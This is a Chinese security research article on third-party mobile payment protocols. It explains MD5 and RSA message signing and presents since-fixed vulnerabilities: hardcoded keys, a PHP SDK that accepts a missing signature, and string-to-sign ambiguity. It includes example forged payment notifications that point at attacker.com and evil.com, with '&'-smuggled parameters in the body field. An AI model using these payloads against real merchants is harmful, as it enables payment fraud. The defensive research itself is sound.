1
雷鋒網(wǎng)按:本文由2015年支付寶特別獎得主丁羽、黎桐辛、韋韜共同編寫,其中丁羽和韋韜來自百度x-lab,黎桐辛來自北京大學(xué)。文章來自微信公眾號“百度安全實驗室”,雷鋒網(wǎng)獲授權(quán)發(fā)布。
引言
電子商務(wù)已經(jīng)成為當(dāng)今互聯(lián)網(wǎng)中重要的組成部分。同時“錢包”類服務(wù)成為了電子商務(wù)的關(guān)鍵組件。越來越多的電商服務(wù)通過“錢包”服務(wù)來進行支付?!板X包”提供的接口簡單易用,任何一個開發(fā)者都可以快速的將“錢包”服務(wù)供應(yīng)商提供的SDK整合進自己的App中,提供App內(nèi)的快速支付手段。目前國內(nèi)最大的“錢包”類服務(wù)包括:支付寶錢包、微信錢包、百度錢包等,各有長處。
因此,支付過程的安全問題也成為了關(guān)鍵。如果錢包服務(wù)出現(xiàn)了安全漏洞,那么很可能會影響到成千上萬的商家,數(shù)十億的現(xiàn)金流,后果往往非常嚴(yán)重。對于支付平臺的安全研究自從其誕生之日起就開始了。經(jīng)過數(shù)次血的教訓(xùn),幾大支付平臺均修正了數(shù)個大大小小的漏洞,反復(fù)改進設(shè)計和實現(xiàn)?,F(xiàn)今的支付平臺已經(jīng)相當(dāng)安全可靠。
本文對借助支付平臺進行的支付流程進行分析,對支付平臺的安全進行討論。同時我們展示了商戶端和支付平臺出現(xiàn)過的幾個嚴(yán)重安全漏洞。攻擊者通過這幾個安全漏洞可以達到修改金額、任意購買等效果,使得支付平臺和商戶的利益收到巨大損失。本文中涉及的安全漏洞均已得到修正。
一、支付流程概述
目前市場上的大大小小的第三方支付平臺有許多家,規(guī)模有大有小但是從整個支付流程上看這些支付平臺的同質(zhì)化程度很高。只有少數(shù)很大的支付平臺做出了比較大的改動,進一步增強了安全性。這一節(jié)我們對支付平臺普遍采用的支付協(xié)議做下介紹。
在支付流程中主要包括四個實體:商戶前端、商家服務(wù)器、錢包模塊、以及錢包服務(wù)器。商戶前端是用戶直接交互的部分,用戶通過操作商戶前端來購買商品等。這里商戶前端不僅限于移動設(shè)備上安裝的App,也可以是商家提供的網(wǎng)站。商家服務(wù)器是商戶的后端,提供相應(yīng)的服務(wù)。錢包模塊是進行支付的“中介”,如支付寶、微信錢包、百度錢包等都有對應(yīng)的支付模塊。
通常支付模塊可以是用戶App中的一個SDK,與商戶App一起安裝在用戶的手機上。支付模塊也可以以web的形式提供服務(wù)。錢包服務(wù)器負責(zé)處理支付請求,并通知商家服務(wù)器支付結(jié)果。錢包服務(wù)需要與錢包模塊交互以獲得訂單信息,同時需要與相關(guān)的機構(gòu)(例如銀行)進行扣款處理,最后與商家服務(wù)和錢包模塊進行通訊以通知支付結(jié)果。因此整個支付過程是一個"四方通訊"的過程。一筆成功交易的后面通常包含四方之間數(shù)十次的復(fù)雜交互,任何一個環(huán)節(jié)的安全隱患都會擴大整個支付過程的攻擊面。多個安全隱患的疊加可能使得攻擊者可以進行訂單篡改等攻擊,使用戶、商戶、錢包服務(wù)的利益收到損失。
一個完整的經(jīng)由支付平臺的支付過程通??梢詣澐譃橐韵聨撞剑?/p>
1.商戶前端對錢包初始化
2.商戶前端與商戶服務(wù)交互,創(chuàng)建訂單
3.商戶前端經(jīng)由錢包,對訂單進行支付
4.錢包與錢包服務(wù)器通訊,錢包服務(wù)器進行扣款,通知錢包和商戶服務(wù)器支付結(jié)果。
5.商戶前端從錢包的支付返回中獲取結(jié)果,并和商戶服務(wù)器進行確認。
6.支付完成,商戶獲得對應(yīng)款項。
下面我們來介紹支付的四方通訊的詳細過程。
圖1 支付過程的四方通訊
1. 商戶前端與錢包模塊進行通訊,對錢包進行初始化。在這個過程中通常需要用戶登錄自己的錢包賬戶,進行必要的認證等操作。
2. 錢包模塊初始化完成,返回到用戶App中。
3. 商戶前端與商家服務(wù)器通訊,建立訂單。帶有的參數(shù)通常包括用戶信息、需要購買的商品id、時間戳、商品金額、錢包類型等。
4. 商家將訂單參數(shù)返回給商戶前端,帶有的參數(shù)通常包括:訂單號(order_no)、支付金額(total_fee)、支付結(jié)果通知地址(notify_url)、消息完整性簽名(sign)等。此時也有另一種實現(xiàn),即虛線部分的4'。在4'中,商戶服務(wù)將大量參數(shù)直接通知給錢包服務(wù),而只返回給用戶一個簡短的消息,包括一個錢包服務(wù)返回給商家服務(wù)的交易事務(wù)id。此后用戶只需通過錢包對這個交易事務(wù)id進行支付即可。
5. 商戶前端對商戶返回的信息進行包裝,發(fā)送給錢包模塊。
6. 錢包模塊與錢包服務(wù)進行交互,帶有的參數(shù)包括用戶的錢包session等信息,以及步驟4中返回的訂單信息等。
7. 錢包服務(wù)在進行必要的扣款處理(如與銀行進行交互)和風(fēng)控處理后,將支付結(jié)果以同步通知7(1)和異步通知7(2)的方式分別通知錢包模塊和商戶服務(wù)。在支付結(jié)果通知中一般包括支付結(jié)果、支付金額、支付的訂單號、支付事務(wù)的流水號、商戶號,以及消息完整性簽名等??蛇x的參數(shù)包括商品信息、字符集/編碼方式、幣種信息等。商戶服務(wù)器在獲得7(2)的異步通知后,也需要驗證其消息的完整性,并對訂單狀態(tài)進行對應(yīng)的更新(支付成功或者支付異常)。
8. 錢包模塊接收到錢包服務(wù)返回的同步通知后,進行必要的完整性驗證,并將支付結(jié)果返回給商戶前端。
9. 商戶前端在得到錢包模塊返回的消息,驗證其完整性。若獲得的是支付成功的消息,則需要向商戶服務(wù)器發(fā)起請求,驗證支付結(jié)果(查賬)。商戶服務(wù)器此時即可進行訂單支付完成后的處理。
在整個支付過程中,各個消息的完整性是最為關(guān)鍵的。如果消息完整性保護存在漏洞,攻擊者即可發(fā)起修改金額、修改訂單號、構(gòu)造虛假訂單等攻擊。作為消息完整性保護的關(guān)鍵——簽名機制,是支付協(xié)議的核心之一。目前應(yīng)用在第三方支付平臺中的簽名機制可以分成兩種:基于非對稱密碼體制的簽名,和基于散列函數(shù)的簽名。基于非對稱密碼的簽名機制只在極少數(shù)支付平臺上得到實現(xiàn)。而基于散列函數(shù)的簽名則基本被所有平臺應(yīng)用或曾經(jīng)應(yīng)用過。
在基于非對稱密碼體制的簽名機制中,每個商戶和支付平臺都生成自己的一套公鑰-私鑰對,并互相告知對方自己的公鑰。在進行支付時,發(fā)送消息方使用自己的私鑰對消息(或消息的散列值)進行簽名,接受消息方使用對方(發(fā)送消息方)的公鑰進行驗簽。這個方法的安全性來自于非對稱密碼體制的安全性,例如RSA的大質(zhì)數(shù)分解難度,或計算橢圓曲線離散對數(shù)的難度。在這個機制中,最關(guān)鍵的是支付平臺的私鑰。攻擊者一旦獲得支付平臺私鑰,就可以對任意消息進行簽名,從而欺騙商戶。其次是商戶的私鑰。攻擊者獲得商戶私鑰后,結(jié)合商戶App的其他漏洞,就可以進行各類攻擊。
基于散列函數(shù)的簽名機制安全性來自于哈希函數(shù)的不可逆性。在支付平臺中此類簽名機制幾乎得到所有平臺的使用。每個商戶與支付平臺預(yù)先共享一個密鑰,以及協(xié)商一個hash函數(shù)(例如MD5或者SHA1)。在發(fā)送消息時,每個商戶活支付平臺在消息中附加上與對方共享的這個密鑰,再對整體進行hash運算,得到簽名值,與原始消息合并作為最后的消息發(fā)送給對方。在接受消息時則將簽名值剝離,將剩下的部分與密鑰組合后進行hash運算,檢驗生成的散列值是否與發(fā)來的簽名值相符。在這個體制中,最關(guān)鍵的無疑就是商戶和支付平臺預(yù)先共享的這個密鑰了。一旦這個密鑰泄露,攻擊者既可以模仿商戶給支付平臺發(fā)信息,又可以模仿支付平臺給商戶發(fā)信息,以進行各類欺騙和攻擊,危害無窮。在目前支付平臺所采用的簽名機制中,以基于MD5的簽名最為常見。
此外,以上提到的私鑰泄露,其實等同于令商戶/支付平臺對指定字符串進行簽名的能力。如果攻擊者可以在很少代價的情況下對指定的“畸形”/“惡意”串進行簽名的話,也相當(dāng)于獲得了任意簽名的能力,從而以很小的代價發(fā)起攻擊。
值得注意的是,基于MD5的簽名機制并不僅限于"支付協(xié)議"中使用,在相當(dāng)多類型的通信中均得到大量應(yīng)用。而MD5如果不嚴(yán)格限定輸入并使用正確的模式將會是相當(dāng)脆弱的,我們可以構(gòu)造通用的簽名碰撞攻擊,將在后繼文章中進行介紹。
同時,支付結(jié)果的同步、異步通知則是最容易受到攻擊的點。支付結(jié)果的同步通知可以在端上被攻擊者篡改(例如使用代理或者Xposed)。對于異步通知,由于異步通知經(jīng)常缺乏可靠的對發(fā)送者的身份鑒定,因此攻擊者可以自行構(gòu)造異步通知來通知商戶服務(wù)已支付成功,從而完成攻擊。此外,異步通知的地址往往是可變的,以參數(shù)的形式傳遞給支付平臺。攻擊者一旦獲得了修改異步通知地址的能力,也會對支付過程的安全性造成威脅。
二、簽名機制
1、基于MD5的消息完整性簽名機制
在目前國內(nèi)大部分支付平臺以及諸如anySDK平臺等平臺的接口中均使用或曾使用基于MD5的消息完整性簽名機制。該機制主要用戶保證圖1中四方通訊時消息傳遞的完整性。
基于MD5的消息完整性簽名機制如圖2所示。該方法的關(guān)鍵在于:商家和錢包服務(wù)之間共享一個簽名密鑰。該簽名密鑰參與到每個簽名生成以及簽名驗證過程中。該密鑰不能泄露,一旦泄露則會造成極大安全隱患。攻擊者可以借助泄露的密鑰來偽造消息,修改訂單,發(fā)送支付成功消息等。
在簽名過程中,簽名方將待簽名的原請求中的key-value對按照key的字母序進行排序,然后連接在一起。這個連接可以使用‘&’組合,也可以不使用‘&’。再將簽名密鑰附帶在組合的結(jié)尾,生成“待簽字符串”。有的簽名方案使用‘&key=’來連接key,有的則直接附加key在末尾,區(qū)別不大。然后使用MD5算法生成待簽字符串的散列值作為簽名。最后將該散列值作為一個域附加在原請求中,得到最終的請求。
驗簽過程和簽名過程是基本相同的。首先從最終請求中分離出簽名域,再將需要驗簽的部分按照key的順序排列并重新組合,附加上簽名密鑰,生成簽名過程中的“待簽字符串”,最后計算其MD5值,判斷其與最終請求中所帶的散列值是否相符。
2、基于非對稱密碼體制的簽名機制
應(yīng)用這一類簽名機制的平臺較少,其支付過程可參見圖3。
以RSA為例。商戶生成一對RSA公私鑰對,錢包服務(wù)生成一對RSA公私鑰對。雙方把各自的公鑰(金色鑰匙)發(fā)給對方。
對消息進行簽名的過程和基于MD5的過程類似,也是首先將請求按key-value對排序,再使用RSA-SHA1算法(先SHA1再變形再RSA)和對方的RSA公鑰生成簽名,最后將簽名附在原請求中形成完整的請求。 驗簽過程使用自己的RSA私鑰進行驗簽,具體過程不表。
3、待簽字符串的生成
以上兩類簽名機制均依賴于“待簽字符串”的生成。在待簽字符串的生成過程中有以下四個主要問題:
參數(shù)值為空的情況。在某些平臺中,參數(shù)值為空的參數(shù)在待簽字符串中被忽略。在某些平臺中則不被忽略。
參數(shù)值的編碼問題。在某些平臺中,參數(shù)值編碼后(編碼方式也有不同)進入待簽字符串。在某些平臺中則在解碼后進入待簽字符串。
特殊字符問題。由于待簽字符串使用&和=作為元字符,因此參數(shù)中存在的&和=等字符會影響待簽字符串的結(jié)構(gòu)。不同平臺對特殊字符的處理也不同。
進入待簽字符串的參數(shù)選擇。某些平臺中,所有參數(shù)均進入待簽字符串中參與簽名生成。而某些平臺中只有指定參數(shù)才會進入待簽字符串中參與運算。
待簽字符串的種種性質(zhì)導(dǎo)致了其“二義性”的出現(xiàn)。在某些情況下,同一個待簽字符串可以等價于兩個不同請求。例如這個待簽字符串
a=A&b=B&c=C&d=D
可以由一個包含四個key-value對的原請求
{"a":"A", "b":"B", "c":"C", "d":"D"}
生成。在某些情況下,還可以由以下包含五個key-value對的原請求生成
{"a":"A", "b":"B", "c":"C", "d":"D", "junk":"JUNK"}
或者,在另一些情況下,可以由以下只包含三個key-value對的原請求生成
{"a":"A&b=B", "c":"C", "d":"D"}
這些變形依賴于“待簽字符串”的生成方法。攻擊者可以通過構(gòu)造畸形請求來生成具有相同“待簽字符串”的請求,從而繞過簽名驗證限制。
三、支付協(xié)議的安全漏洞
由以上分析,第三方支付過程的安全嚴(yán)重依賴于以下三點:
密鑰的安全管理
支付平臺簽名算法的正確實現(xiàn)
商戶對支付協(xié)議的正確使用
然而在生產(chǎn)環(huán)境中每個環(huán)節(jié)都有可能出錯,引起嚴(yán)重的安全隱患。
1、密鑰泄露
這是最常見的一種安全漏洞。密鑰泄漏并不是一種罕見的情況,不少app在開發(fā)時,將密鑰硬編碼在app代碼中(用于本地實現(xiàn)簽名計算)。消息的完整性依賴于簽名的計算,密鑰泄漏后消息將無法保證未被篡改或偽造。但對稱密鑰和不對稱密鑰泄漏后的利用和危害有所區(qū)別。
圖4展示了最常見的情況。MD5簽名密鑰編碼在用戶App中造成密鑰泄露。在對相當(dāng)多的app進行逆向工程后我們發(fā)現(xiàn),有部分app直接照搬一些樣例代碼,導(dǎo)致key被直接明文編碼到程序中,非常容易提取。還有一部分app作者使用了一些變形手段,例如將key拆成奇數(shù)位、偶數(shù)位分別存儲,或使用特定常數(shù)進行異或存儲。這些簡單變形在熟練的攻擊者面前是徒勞的。
由于商戶和支付平臺共享密鑰,密鑰泄漏后,攻擊者既可以冒充商戶向支付平臺發(fā)送訂單消息,又可以冒充支付平臺向商戶發(fā)送支付結(jié)果。當(dāng)然,后者更加直接(如圖4)。
例如,若攻擊者準(zhǔn)備購買一件商品,其訂單消息為
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX,
攻擊者可以首先通過修改notify_url到攻擊者掌控的地址,如http://attacker.com/,提交請求:
notify_url=http://attacker.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX
來獲得notify_url的結(jié)構(gòu)。再偽造以下消息簽名后發(fā)送給商戶,偽造異步通知,實現(xiàn)免費購物。
target_url: http://seller.com/notify
post_data: put_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&sign=XXX.
商戶收到消息后驗證簽名正確,所有參數(shù)均正確,將完成攻擊者的訂單。而事實上,攻擊者并未進行過任何支付。
另一方面,基于非對稱密碼體制的簽名方案中,私鑰泄露后攻擊者也可以進行攻擊。但是仍依賴于其他的邏輯漏洞。攻擊者只能獲取商戶的私鑰,而支付平臺的私鑰往往被妥善保護無法獲得。因此,攻擊者無法冒充支付平臺向商戶發(fā)送支付成功的消息,而只能冒充商戶向支付平臺偽造訂單或者篡改訂單,修改支付金額。
如圖5所示,若攻擊者準(zhǔn)備購買一件商品,其訂單消息為
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX
攻擊者修改金額,使用私鑰重新簽名,并提交支付訂單
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=1&sign=XXX
成功支付1元后,商戶會收到支付結(jié)果消息
out_trade_no=12345&seller=alice&total_fee=1&trade_status=SUCCESS&sign=XXX
商戶進行消息的驗證,會發(fā)現(xiàn)簽名正確,商戶號正確,訂單12345支付成功。若商戶沒有驗證支付金額與訂單是否匹配,將完成攻擊者的訂單。從而攻擊者以1元購買了100元的商品。在許多App中,曾出現(xiàn)過只驗證簽名和訂單id的情況,沒有驗證實付金額,因此可以通過這種金額篡改進行攻擊。
為了防御這樣的攻擊,商家一定要修改app和服務(wù)端的設(shè)計,使得簽名全部在服務(wù)端進行。網(wǎng)上充斥著大量可以直接照搬的富含漏洞的樣例代碼,一定不要簡單修改這些代碼就直接接入支付平臺。此外,每筆交易均要進行查賬,驗證錢真的得到了支付,才可以標(biāo)記訂單為成功支付。
一旦出現(xiàn)這樣的秘鑰泄漏商家將面臨嚴(yán)峻的安全風(fēng)險,支付平臺也將面臨嚴(yán)重的連帶品牌危機。發(fā)生這樣的危機時,如果簡單的替換秘鑰將會直接導(dǎo)致老App客戶端無法進行交易,如果不替換則將面臨嚴(yán)峻的支付風(fēng)險。目前臨時緩解方案是依靠商家服務(wù)后臺與錢包服務(wù)后臺的增強校驗和風(fēng)控來探測和抵抗攻擊。
2、簽名算法實現(xiàn)錯誤
簽名泄露只影響個別自己實現(xiàn)錯誤的商家,而支付平臺的漏洞則會影響千萬商家。在這一節(jié)我們討論我們提交給兩個國內(nèi)著名支付平臺的平臺漏洞,他們均已得到修復(fù)。
案例一
第三方支付平臺A采用了對稱密鑰的設(shè)計,并提供了服務(wù)端SDK供商家集成。服務(wù)端SDK提供了API驗證簽名是否正確。
在PHP和C#的SDK實現(xiàn)中,當(dāng)簽名字段不存在時,SDK會直接返回簽名正確,這就導(dǎo)致了攻擊者可以直接冒充支付平臺向商戶發(fā)送偽造的支付結(jié)果消息并通過簽名認證。
以PHP版代碼為例
public function CheckSign()
{
if(!$this->IsSignSet()){
returntrue;
}
$sign = $this->MakeSign();
if($this->GetSign() == $sign){
returntrue;
}
throw newException("簽名錯誤!");
}
public function IsSignSet()
{
return array_key_exists('sign', $this->values);
}
檢查簽名時,首先會利用函數(shù) IsSignSet判斷簽名是否存在。若簽名不存在,直接認為簽名正確。
由于該支付平臺要求商戶服務(wù)器將訂單(包括通知URL)發(fā)送給支付服務(wù)器獲取一個ID,隨后商戶應(yīng)用將ID傳遞給支付客戶端調(diào)起支付界面,在實際攻擊中, 攻擊者還需要從其他渠道獲取通知URL(例如路徑猜測、URL硬編碼或存在網(wǎng)絡(luò)請求中等)才可偽造支付結(jié)果。
案例二
支付平臺B采用了非對稱密鑰的設(shè)計,每個商戶有自己的一套公鑰私鑰,但支付平臺的公鑰私鑰僅一套,即所有商戶使用同一個公鑰驗證來自支付平臺的消息。
除此以外,訂單消息和支付結(jié)果消息中包含字段body描述商品信息,且訂單消息和對應(yīng)支付結(jié)果消息中的body一致。
如果攻擊者希望免費(低價)購物,應(yīng)該如何進行呢?回顧上文中關(guān)于待簽字符串二義性的討論,待簽字符串為形如:
key1=value1&key2=value2&key3=value3
的格式。&和=作為了連接符號。
如果某一個參數(shù)值(value)中包含&和=符號,待簽字符串和原始的參數(shù)集合就可能不再是一對一,即存在多組參數(shù)集合對應(yīng)同一組待簽字符串。
例如:參數(shù)集合
{"key1":"value1","key2":"value2&key3=fake_value&zend_key=a", "key3":"value3"}
的待簽字符串為
key1=value1&key2=value2&key3=fake_value&zend_key=a&key3=value3
考慮另一個參數(shù)集合
{"key1":"value1","key2":"value2", "key3":"fake_value","zend_key":"a&key3=value3"}
的待簽字符串同為
key1=value1&key2=value2&key3=fake_value&zend_key=a&key3=value3
兩組集合的待簽字符串一樣,但key3的值不同。攻擊者若知道其中一組的簽名,便知道另一組參數(shù)在相同密鑰下的簽名了。
有了這個發(fā)現(xiàn),如何在實際中利用并實現(xiàn)免費(低價)購物呢? 攻擊者需要“騙一個畸形訂單支付成功的簽名”!
首先,攻擊者需要擁有一個商戶evil的私鑰(可自行注冊或利用已泄漏密鑰)
現(xiàn)在攻擊者準(zhǔn)備向商戶alice購買一件商品,正常的訂單消息參數(shù)為
{"body":"商品A","notify_url":"http://seller.com/notify","out_trade_no":"12345","seller":"alice", "total_fee":"100","sign":"XXX"}
若訂單支付成功,支付結(jié)果的參數(shù)應(yīng)為
{"body":"商品A","out_trade_no":"12345", "seller":"alice", "total_fee":"100", "trade_status":"SUCCESS","sign":"YYY"},
因此,攻擊者的目標(biāo)是向http://seller.com/notify發(fā)送一個支付完成的消息,并且包含
{"body":"商品A", "out_trade_no":"12345", "seller":"alice", "total_fee":"100", "trade_status":"SUCCESS"}
這些參數(shù)和正確的簽名。
這樣一條消息會經(jīng)過支付平臺的簽名,攻擊者無法直接偽造。但是前面提到,所有商戶使用同一個公鑰驗證來自支付平臺的消息,也就是說支付平臺發(fā)給商戶evil的消息若轉(zhuǎn)發(fā)給商戶alice,簽名可以通過驗證,僅僅是商戶號等參數(shù)值不正確。因此,攻擊者可以考慮利用evil的支付結(jié)果來偽造給alice的支付結(jié)果。
攻擊者首先發(fā)給支付平臺一個屬于商戶Evil的訂單消息
{“body”:“商品A&out_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&z=”,“notify_url”:“http://evil.com/notify”, “out_trade_no”:”12345”,“seller”:“evil”, “total_fee”:“1”, “sign”:“XXXX”},
支付1元后,http://evil.com/notify會收到支付結(jié)果,并且經(jīng)過了支付平臺簽名。
{“body”:“商品A&out_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&z=”, “out_trade_no”:”12345”, “seller”:“evil”, “total_fee”:“1”,“trade_status”:“SUCCESS”, “sign”:“signed by payment platform”},
攻擊者可以將其變換為
{“body”:“商品A”,“out_trade_no”:“12345”,“seller”:“alice”, “total_fee”:“100”, “trade_status”:“SUCCESS”,“z”:“&out_trade_no=12345&seller=evil&total_fee=1&trade_status=SUCCESS”, “sign”:“signed by payment platform”}
然后發(fā)送給商戶Alice的URL http://seller.com/notify。這些數(shù)據(jù)具有正確的簽名和期望的商家號、訂單號、支付金額,將會通過alice驗證,從而alice會通過攻擊者的訂單。
攻擊者因此實現(xiàn)了免費(低價)購物。
3、商戶驗證支付結(jié)果時存在邏輯錯誤
1)簽名驗證
盡管支付平臺提供了服務(wù)端SDK,商戶后端在實現(xiàn)邏輯時可能并未使用SDK。那么,商戶應(yīng)正確實現(xiàn)簽名的驗證邏輯,避免相關(guān)邏輯錯誤,如簽名不存在時通過簽名驗證。
2)總金額、商戶號的驗證
商戶在收到支付結(jié)果通知,驗證完簽名后,還應(yīng)正確處理支付結(jié)果中的相關(guān)參數(shù)。支付金額、商戶號都應(yīng)該被驗證。
當(dāng)支付金額未被驗證,攻擊者可以支付較低的費用實現(xiàn)購物。支付金額不一致可能是訂單消息在簽名之前金額被篡改或是攻擊者偽造了訂單消息(參考不對稱密鑰泄漏)。
若商戶號未被驗證,攻擊者可以考慮復(fù)用另一商戶的支付結(jié)果,對當(dāng)前商戶進行攻擊。攻擊發(fā)生的條件在于發(fā)給不同商戶的支付結(jié)果使用了同樣的私鑰簽名,同時攻擊者注冊了自己商戶。攻擊者生成一個訂單,支付給自己的商戶后,將支付結(jié)果復(fù)用。
若商戶號和總金額均未被驗證,攻擊者還可以再次考慮復(fù)用另一商戶的支付結(jié)果對當(dāng)前商戶進行攻擊。雖然復(fù)用支付結(jié)果仍要求發(fā)給不同商戶的支付結(jié)果使用了同樣的私鑰簽名,但攻擊者不再需要注冊自己的商戶,而是利用已泄漏的商戶密鑰。實現(xiàn)攻擊時,攻擊者生成一個費用較低的訂單,完成支付后復(fù)用支付結(jié)果。
3)只在客戶端驗證
在用戶完成支付后,支付平臺往往既會異步通知商戶服務(wù)器支付結(jié)果,又會同步通知商戶客戶端支付結(jié)果以向用戶展示。
然而,支付結(jié)果的驗證應(yīng)在服務(wù)端完成。僅在客戶端驗證將容易受到攻擊。攻擊者可以直接修改客戶端邏輯實現(xiàn)免費購物。
總結(jié)
本文總結(jié)了常見支付平臺的支付過程的機制,探討了其中存在和可能存在的問題,并通過實例展現(xiàn)了商戶端和支付平臺出現(xiàn)的安全問題。除了本文中探討的問題,還有許許多多安全隱患在近年得到不斷修正??偟膩碚f現(xiàn)在的網(wǎng)上支付還是比較可靠的。在下篇中我們繼續(xù)對基于MD5的消息簽名機制進行討論,發(fā)掘更多的安全問題。
雷峰網(wǎng)版權(quán)文章,未經(jīng)授權(quán)禁止轉(zhuǎn)載。詳情見轉(zhuǎn)載須知。